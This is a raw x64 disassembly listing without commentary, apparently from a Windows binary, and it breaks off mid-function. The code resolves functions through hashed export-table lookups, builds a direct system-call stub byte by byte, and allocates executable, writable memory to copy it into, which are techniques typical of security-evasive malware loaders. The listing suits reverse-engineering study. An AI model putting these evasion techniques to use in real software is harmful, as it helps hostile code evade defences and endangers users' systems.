call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3fa8], rax
mov eax, 1
test eax, eax
je 0x14013db29
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4b30], rax
jmp 0x14013db3c
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov qword [rsp + 0x4b30], rax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x6980], rax
mov rax, qword [rsp + 0x3fa8]
mov qword [rsp + 0x6988], rax
lea rax, [rsp + 0x6980]
mov qword [rsp + 0x4b38], rax
lea rdx, [rsp + 0x1380]
mov rcx, qword [rsp + 0x4b38]
call fcn.14018efb0
lea rdx, [rsp + 0xa2c8]
mov rcx, qword [rsp + 0x4b38]
call fcn.140190a30
jmp 0x14013dbab
mov rax, qword [rsp + 0x1380]
mov rax, qword [rax]
mov qword [rsp + 0x1380], rax
mov rax, qword [rsp + 0xa2c8]
cmp qword [rsp + 0x1380], rax
je 0x14013dbca
mov dword [rsp + 0xbbc], 1
jmp 0x14013dbd5
mov dword [rsp + 0xbbc], 0
movzx eax, byte [rsp + 0xbbc]
test eax, eax
je 0x14013e3ca
xor edx, edx
mov rcx, qword [rsp + 0x1380]
call fcn.140096d90
mov qword [rsp + 0xa2d0], rax
lea rax, [rsp + 0xa2d0]
mov qword [rsp + 0x4b40], rax
xor edx, edx
lea rcx, [rsp + 0x2698]
call fcn.14009b2f0
lea rdx, [rsp + 0x2698]
lea rcx, [rsp + 0xbc0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013de75
mov rax, qword [rsp + 0x4b40]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xa2d8], rax
lea rdx, [rsp + 0x12858]
mov rcx, qword [rsp + 0xa2d8]
call fcn.14019acf0
lea rcx, [rsp + 0xf900]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xbc0]
mov dword [rsp + 0x269c], eax
lea rax, [rsp + 0xd310]
lea rcx, [rsp + 0xf900]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x269c]
mov dword [rsp + 0xbc8], eax
lea rax, [rsp + 0x26a0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x26a0]
call fcn.14009b310
mov qword [rsp + 0xa2e0], rax
lea rax, [rsp + 0xf910]
lea rcx, [rsp + 0xd310]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf920]
lea rcx, [rsp + 0xf910]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf920]
mov rcx, qword [rsp + 0xa2e0]
call fcn.140097890
mov dword [rsp + 0x26a8], eax
lea rcx, [rsp + 0xd310]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xa2e8], rax
mov r9, qword [rsp + 0xa2e8]
xor r8d, r8d
lea rdx, [rsp + 0xf930]
lea rcx, [rsp + 0xd310]
call fcn.14019ab70
lea rax, [rsp + 0x26a4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x26a4]
call fcn.14009b310
mov qword [rsp + 0xa2f0], rax
lea rax, [rsp + 0xf940]
lea rcx, [rsp + 0xf930]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf950]
lea rcx, [rsp + 0xf940]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf950]
mov rcx, qword [rsp + 0xa2f0]
call fcn.140097890
mov dword [rsp + 0x26b0], eax
mov edx, dword [rsp + 0x26a8]
lea rcx, [rsp + 0x26ac]
call fcn.14009b2f0
lea rdx, [rsp + 0x26ac]
lea rcx, [rsp + 0xbc8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013de59
mov edx, dword [rsp + 0x26b0]
lea rcx, [rsp + 0x26b4]
call fcn.14009b2f0
lea rdx, [rsp + 0x26b4]
lea rcx, [rsp + 0xbc8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013de59
mov dword [rsp + 0xbd0], 1
jmp 0x14013de64
mov dword [rsp + 0xbd0], 0
movzx eax, byte [rsp + 0xbd0]
test eax, eax
je 0x14013de75
jmp 0x14013db98
mov rax, qword [rsp + 0x4b40]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4b48], rax
mov rax, qword [rsp + 0x4b48]
mov qword [rsp + 0x44d8], rax
mov rax, qword [rsp + 0x4b48]
mov qword [rsp + 0xa2f8], rax
mov rax, qword [rsp + 0xa2f8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa300], rax
mov rax, qword [rsp + 0xa300]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xa308], rax
mov eax, dword [rsp + 0xa308]
add rax, qword [rsp + 0x44d8]
mov qword [rsp + 0xa310], rax
mov rax, qword [rsp + 0xa310]
mov qword [rsp + 0x44e0], rax
lea rdx, [rsp + 0xbd8]
lea rcx, [rsp + 0xd4e8]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11e08]
lea rcx, [rsp + 0x44d8]
call fcn.140097040
lea rdx, [rsp + 0x13970]
lea rcx, [rsp + 0x44d8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11e08]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14013df61
jmp 0x14013db98
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14013dfe4
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11e18]
mov qword [rsp + 0x4b50], rax
mov rcx, qword [rsp + 0x4b50]
call fcn.140097960
mov qword [rsp + 0x11670], rax
mov rcx, qword [rsp + 0x4b50]
call fcn.140097950
mov qword [rsp + 0x3fb8], rax
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
mov qword [rsp + 0x4b68], rax
mov rax, qword [rsp + 0x44d8]
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0xa318]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa320], rax
mov rax, qword [rsp + 0xa320]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4b58], rax
mov eax, dword [rsp + 0x4b58]
add rax, qword [rsp + 0x44d8]
mov qword [rsp + 0x4b60], rax
mov eax, dword [rsp + 0x4b5c]
mov rcx, qword [rsp + 0x4b60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa328], rax
mov rax, qword [rsp + 0x4b60]
cmp qword [rsp + 0x4b68], rax
jb 0x14013e0d6
mov rax, qword [rsp + 0xa328]
cmp qword [rsp + 0x4b68], rax
jae 0x14013e0d6
mov dword [rsp + 0xbe0], 1
jmp 0x14013e0e1
mov dword [rsp + 0xbe0], 0
movzx eax, byte [rsp + 0xbe0]
mov byte [rsp + 0xf4], al
movzx eax, byte [rsp + 0xf4]
test eax, eax
je 0x14013e3b0
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
mov qword [rsp + 0xa330], rax
mov rax, qword [rsp + 0xa330]
mov qword [rsp + 0xa338], rax
lea rax, [rsp + 0x12868]
mov qword [rsp + 0xa340], rax
mov rdx, qword [rsp + 0xa338]
mov rcx, qword [rsp + 0xa340]
call fcn.140095590
lea rcx, [rsp + 0x6990]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6990]
call fcn.140191090
mov qword [rsp + 0x3fb0], rax
cmp qword [rsp + 0x3fb0], 0xffffffffffffffff
je 0x14013e1eb
mov r9, qword [rsp + 0x3fb0]
xor r8d, r8d
lea rdx, [rsp + 0xf970]
lea rcx, [rsp + 0x6990]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3fb0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf960]
lea rcx, [rsp + 0x6990]
call fcn.14019aaa0
lea r8, [rsp + 0xf960]
lea rdx, [rsp + 0xf970]
lea rcx, [rsp + 0x11270]
call fcn.14008f7e0
jmp 0x14013e226
lea rax, [rsp + 0x6990]
mov qword [rsp + 0xa348], rax
lea rcx, [rsp + 0xf980]
call fcn.140099fb0
lea r8, [rsp + 0xf980]
mov rdx, qword [rsp + 0xa348]
lea rcx, [rsp + 0x11270]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11270]
call fcn.140097960
mov qword [rsp + 0xa350], rax
lea rcx, [rsp + 0x11270]
call fcn.140097950
mov qword [rsp + 0xa368], rax
lea rax, [rsp + 0xd4ec]
mov qword [rsp + 0xa360], rax
lea rax, [rsp + 0x26b8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x26b8]
call fcn.14009b310
mov qword [rsp + 0xa358], rax
lea rax, [rsp + 0xf990]
mov rdi, rax
mov rsi, qword [rsp + 0xa350]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf9a0]
lea rcx, [rsp + 0xf990]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf9a0]
mov rcx, qword [rsp + 0xa358]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa360]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x26c0], eax
lea rax, [rsp + 0xd4f0]
mov qword [rsp + 0xa378], rax
lea rax, [rsp + 0x26bc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x26bc]
call fcn.14009b310
mov qword [rsp + 0xa370], rax
lea rax, [rsp + 0xf9b0]
mov rdi, rax
mov rsi, qword [rsp + 0xa368]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf9c0]
lea rcx, [rsp + 0xf9b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf9c0]
mov rcx, qword [rsp + 0xa370]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa378]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x26c4], eax
mov r8d, dword [rsp + 0x26c0]
mov edx, dword [rsp + 0x26c4]
lea rcx, [rsp + 0x3fc0]
call fcn.140191150
mov qword [rsp + 0x1388], rax
jmp 0x14013e3d6
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
mov qword [rsp + 0x1388], rax
jmp 0x14013e3d6
mov qword [rsp + 0x1388], 0
mov rax, qword [rsp + 0x1388]
mov qword [rsp + 0x3fc0], rax
lea rcx, [rsp + 0x3fc0]
call fcn.1400a2c10
mov qword [rsp + 0xa380], rax
mov eax, dword [rsp + 0x6618]
mov dword [rsp + 0x26c8], eax
mov rax, qword [rsp + 0xa380]
mov qword [rsp + 0xa388], rax
mov eax, dword [rsp + 0x26c8]
mov dword [rsp + 0x26d0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf9d0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa390], rax
lea r9, [rsp + 0xa388]
lea r8, [rsp + 0x26d0]
lea rdx, [rsp + 0x12878]
mov rcx, qword [rsp + 0xa390]
call fcn.140098320
lea rcx, [rsp + 0xf9d0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3fc0]
call fcn.1400a2c10
mov qword [rsp + 0xa398], rax
mov rax, qword [rsp + 0xa398]
mov eax, dword [rax + 4]
mov dword [rsp + 0x26d8], eax
mov eax, dword [rsp + 0x26d8]
mov dword [rsp + 0x661c], eax
lea rax, [rsp + 0x6620]
mov qword [rsp + 0xa3a0], rax
mov eax, dword [rsp + 0x661c]
mov dword [rsp + 0x26e0], eax
mov rax, qword [rsp + 0xa3a0]
add rax, 0x11
mov qword [rsp + 0xa3a8], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xa3a8]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x26e0]
mov dword [rax], ecx
lea rax, [rsp + 0x6620]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x648]
add rax, 0x10
mov qword [rsp + 0x11678], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xa3b0], rax
mov qword [rsp + 0x4b70], 0
mov qword [rsp + 0xa3b8], 0xd
mov rax, qword [rsp + 0xa3b0]
mov qword [rsp + 0xa3c0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xa3b8]
xor r8d, r8d
lea rdx, [rsp + 0x4b70]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xa3c0]
mov dword [rsp + 0x26e8], eax
cmp dword [rsp + 0x26e8], 0
jl 0x14013e5ba
mov rax, qword [rsp + 0x4b70]
mov qword [rsp + 0x4b78], rax
jmp 0x14013e5c6
mov qword [rsp + 0x4b78], 0
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0xa3c8], rax
mov rax, qword [rsp + 0x648]
mov rcx, qword [rsp + 0xa3c8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x648]
cmp qword [rax + 8], 0
jne 0x14013e5fb
jmp 0x14013e63f
mov rax, qword [rsp + 0x648]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x648]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x648]
mov rcx, qword [rsp + 0x648]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6620]
mov qword [rsp + 0xa420], rax
mov rax, qword [rsp + 0xa3d0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa3d8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa3e0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa3e8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa3f0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa3f8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa400]
mov r8, qword [rsp + 0xa408]
mov rdx, qword [rsp + 0xa410]
mov rcx, qword [rsp + 0xa418]
call qword [rsp + 0xa420]
mov dword [rsp + 0x26ec], eax
lea rcx, [rsp + 0x6618]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x26ec]
mov dword [rsp + 0x26f0], eax
cmp dword [rsp + 0x26f0], 0
jge 0x14013e6fa
mov byte [rsp + 0x84], 0
jmp 0x14013e702
mov byte [rsp + 0x84], 1
movzx eax, byte [rsp + 0x84]
test eax, eax
je 0x14013e719
cmp qword [rsp + 0x13b0], 0
jne 0x14013e729
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
lea rax, [rsp + 0x4350]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rsp + 0x4350]
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x13b0]
add rax, 0x58
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0xa468], rax
cmp qword [rsp + 0x4b88], 0
je 0x14013e78f
cmp qword [rsp + 0x4b80], 0
je 0x14013e78f
xor eax, eax
cmp rax, 0x10
jne 0x14013e79c
mov byte [rsp + 0x85], 0
jmp 0x14013f8fb
lea rax, [rsp + 0xd980]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd980], 0x33
mov rax, qword [rsp + 0x4b80]
mov qword [rsp + 0xd990], rax
mov rax, qword [rsp + 0x4b88]
mov qword [rsp + 0xd998], rax
mov qword [rsp + 0xd9a0], 0x10
mov dword [rsp + 0x2734], 0
mov qword [rsp + 0xa430], 0
mov qword [rsp + 0xa438], 0x28
lea rax, [rsp + 0xd980]
mov qword [rsp + 0xa440], rax
lea rax, [rsp + 0x12888]
mov qword [rsp + 0xa448], rax
mov qword [rsp + 0xa450], 0
mov qword [rsp + 0xa458], 0
mov qword [rsp + 0xa460], 0
mov dword [rsp + 0x26f4], 0x9363e455
mov eax, dword [rsp + 0x26f4]
mov dword [rsp + 0x26f8], eax
lea rcx, [rsp + 0x26f8]
call fcn.1400a2c20
mov dword [rsp + 0x6640], eax
mov dword [rsp + 0x6644], 0
lea rax, [rsp + 0x6648]
mov qword [rsp + 0xa428], rax
mov dword [rsp + 0x2730], 0x49
mov dword [rsp + 0x272c], 0x89
mov dword [rsp + 0x2728], 0xca
mov dword [rsp + 0x2724], 0x48
mov dword [rsp + 0x2720], 0xc7
mov dword [rsp + 0x271c], 0xc0
mov dword [rsp + 0x2718], 0x3f
mov dword [rsp + 0x2714], 0x10
mov dword [rsp + 0x2710], 0
mov dword [rsp + 0x270c], 0
mov dword [rsp + 0x2708], 0xf
mov dword [rsp + 0x2704], 5
mov dword [rsp + 0x2700], 0xc3
lea rax, [rsp + 0x2700]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2704]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2708]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x270c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2710]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2714]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2718]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x271c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2720]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2724]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2728]
lea r8, [rsp + 0x272c]
lea rdx, [rsp + 0x2730]
mov rcx, qword [rsp + 0xa428]
call fcn.14008f900
mov byte [rsp + 0x34e], 1
mov byte [rsp + 0x34f], 0
movsxd rax, dword [rsp + 0x2734]
mov qword [rsp + 0xa5a0], rax
mov byte [rsp + 0x350], 0
mov byte [rsp + 0x351], 0
mov rax, qword [rsp + 0xa430]
mov qword [rsp + 0xa5a8], rax
mov byte [rsp + 0x352], 0
mov byte [rsp + 0x353], 1
mov rax, qword [rsp + 0xa438]
mov qword [rsp + 0xa5b0], rax
mov byte [rsp + 0x354], 0
mov byte [rsp + 0x355], 0
mov rax, qword [rsp + 0xa440]
mov qword [rsp + 0xa5b8], rax
mov byte [rsp + 0x356], 0
mov byte [rsp + 0x357], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xa5c0], rax
mov byte [rsp + 0x358], 0
mov byte [rsp + 0x359], 0
mov rax, qword [rsp + 0xa448]
mov qword [rsp + 0xa5c8], rax
mov byte [rsp + 0x35a], 0
mov byte [rsp + 0x35b], 0
mov rax, qword [rsp + 0xa450]
mov qword [rsp + 0xa5d0], rax
mov byte [rsp + 0x35c], 0
mov byte [rsp + 0x35d], 0
mov rax, qword [rsp + 0xa458]
mov qword [rsp + 0xa5d8], rax
mov byte [rsp + 0x35e], 0
mov byte [rsp + 0x35f], 0
mov rax, qword [rsp + 0xa460]
mov qword [rsp + 0xa5e0], rax
mov byte [rsp + 0x360], 0
mov byte [rsp + 0x361], 0
mov rax, qword [rsp + 0xa468]
mov qword [rsp + 0xa5e8], rax
mov eax, dword [rsp + 0x6640]
mov dword [rsp + 0x2738], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf9e0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa470], rax
lea r8, [rsp + 0x2738]
lea rdx, [rsp + 0x4b90]
mov rcx, qword [rsp + 0xa470]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa478], rax
lea rdx, [rsp + 0x11680]
mov rcx, qword [rsp + 0xa478]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4b90]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013ebad
mov qword [rsp + 0x4b98], 0
jmp 0x14013ebc6
lea rcx, [rsp + 0x4b90]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4b98], rax
mov rax, qword [rsp + 0x4b98]
mov qword [rsp + 0xa480], rax
lea rcx, [rsp + 0xf9e0]
call fcn.1400a0f10
mov rax, qword [rsp + 0xa480]
mov qword [rsp + 0x4ba0], rax
cmp qword [rsp + 0x4ba0], 0
je 0x14013ec23
mov rax, qword [rsp + 0x4ba0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2740], eax
mov eax, dword [rsp + 0x2740]
mov dword [rsp + 0x6644], eax
jmp 0x14013f6b1
lea rax, [rsp + 0xd4f4]
mov qword [rsp + 0xa488], rax
xor edx, edx
mov rcx, qword [rsp + 0xa488]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2744], eax
lea rax, [rsp + 0xd4f8]
mov qword [rsp + 0xa490], rax
mov edx, dword [rsp + 0x6640]
mov rcx, qword [rsp + 0xa490]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2748], eax
mov eax, dword [rsp + 0x2744]
mov dword [rsp + 0xbe8], eax
mov eax, dword [rsp + 0x2748]
mov dword [rsp + 0xc00], eax
xor edx, edx
lea rcx, [rsp + 0x274c]
call fcn.14009b2f0
lea rdx, [rsp + 0x274c]
lea rcx, [rsp + 0xc00]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013ecd0
mov qword [rsp + 0x1398], 0
jmp 0x14013f5cf
mov byte [rsp + 0x362], 1
mov qword [rsp + 0x69a0], 0
mov qword [rsp + 0x69a8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3fc8], rax
mov eax, 1
test eax, eax
je 0x14013ed22
mov rax, qword [rsp + 0x3fc8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4ba8], rax
jmp 0x14013ed35
mov rax, qword [rsp + 0x3fc8]
mov rax, qword [rax]
mov qword [rsp + 0x4ba8], rax
mov rax, qword [rsp + 0x4ba8]
mov qword [rsp + 0x69a0], rax
mov rax, qword [rsp + 0x3fc8]
mov qword [rsp + 0x69a8], rax
lea rax, [rsp + 0x69a0]
mov qword [rsp + 0x4bb0], rax
lea rdx, [rsp + 0x1390]
mov rcx, qword [rsp + 0x4bb0]
call fcn.14018efb0
lea rdx, [rsp + 0xa498]
mov rcx, qword [rsp + 0x4bb0]
call fcn.140190a30
jmp 0x14013eda4
mov rax, qword [rsp + 0x1390]
mov rax, qword [rax]
mov qword [rsp + 0x1390], rax
mov rax, qword [rsp + 0xa498]
cmp qword [rsp + 0x1390], rax
je 0x14013edc3
mov dword [rsp + 0xbe4], 1
jmp 0x14013edce
mov dword [rsp + 0xbe4], 0
movzx eax, byte [rsp + 0xbe4]
test eax, eax
je 0x14013f5c3
xor edx, edx
mov rcx, qword [rsp + 0x1390]
call fcn.140096d90
mov qword [rsp + 0xa4a0], rax
lea rax, [rsp + 0xa4a0]
mov qword [rsp + 0x4bb8], rax
xor edx, edx
lea rcx, [rsp + 0x2750]
call fcn.14009b2f0
lea rdx, [rsp + 0x2750]
lea rcx, [rsp + 0xbe8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013f06e
mov rax, qword [rsp + 0x4bb8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xa4a8], rax
lea rdx, [rsp + 0x12898]
mov rcx, qword [rsp + 0xa4a8]
call fcn.14019acf0
lea rcx, [rsp + 0xf9f0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xbe8]
mov dword [rsp + 0x2754], eax
lea rax, [rsp + 0xd320]
lea rcx, [rsp + 0xf9f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2754]
mov dword [rsp + 0xbf0], eax
lea rax, [rsp + 0x2758]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2758]
call fcn.14009b310
mov qword [rsp + 0xa4b0], rax
lea rax, [rsp + 0xfa00]
lea rcx, [rsp + 0xd320]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfa10]
lea rcx, [rsp + 0xfa00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfa10]
mov rcx, qword [rsp + 0xa4b0]
call fcn.140097890
mov dword [rsp + 0x2760], eax
lea rcx, [rsp + 0xd320]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xa4b8], rax
mov r9, qword [rsp + 0xa4b8]
xor r8d, r8d
lea rdx, [rsp + 0xfa20]
lea rcx, [rsp + 0xd320]
call fcn.14019ab70
lea rax, [rsp + 0x275c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x275c]
call fcn.14009b310
mov qword [rsp + 0xa4c0], rax
lea rax, [rsp + 0xfa30]
lea rcx, [rsp + 0xfa20]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfa40]
lea rcx, [rsp + 0xfa30]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfa40]
mov rcx, qword [rsp + 0xa4c0]
call fcn.140097890
mov dword [rsp + 0x2768], eax
mov edx, dword [rsp + 0x2760]
lea rcx, [rsp + 0x2764]
call fcn.14009b2f0
lea rdx, [rsp + 0x2764]
lea rcx, [rsp + 0xbf0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013f052
mov edx, dword [rsp + 0x2768]
lea rcx, [rsp + 0x276c]
call fcn.14009b2f0
lea rdx, [rsp + 0x276c]
lea rcx, [rsp + 0xbf0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013f052
mov dword [rsp + 0xbf8], 1
jmp 0x14013f05d
mov dword [rsp + 0xbf8], 0
movzx eax, byte [rsp + 0xbf8]
test eax, eax
je 0x14013f06e
jmp 0x14013ed91
mov rax, qword [rsp + 0x4bb8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4bc0]
mov qword [rsp + 0x44e8], rax
mov rax, qword [rsp + 0x4bc0]
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xa4c8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa4d0], rax
mov rax, qword [rsp + 0xa4d0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xa4d8], rax
mov eax, dword [rsp + 0xa4d8]
add rax, qword [rsp + 0x44e8]
mov qword [rsp + 0xa4e0], rax
mov rax, qword [rsp + 0xa4e0]
mov qword [rsp + 0x44f0], rax
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0xd4fc]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11e30]
lea rcx, [rsp + 0x44e8]
call fcn.140097040
lea rdx, [rsp + 0x13998]
lea rcx, [rsp + 0x44e8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11e30]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14013f15a
jmp 0x14013ed91
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14013f1dd
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
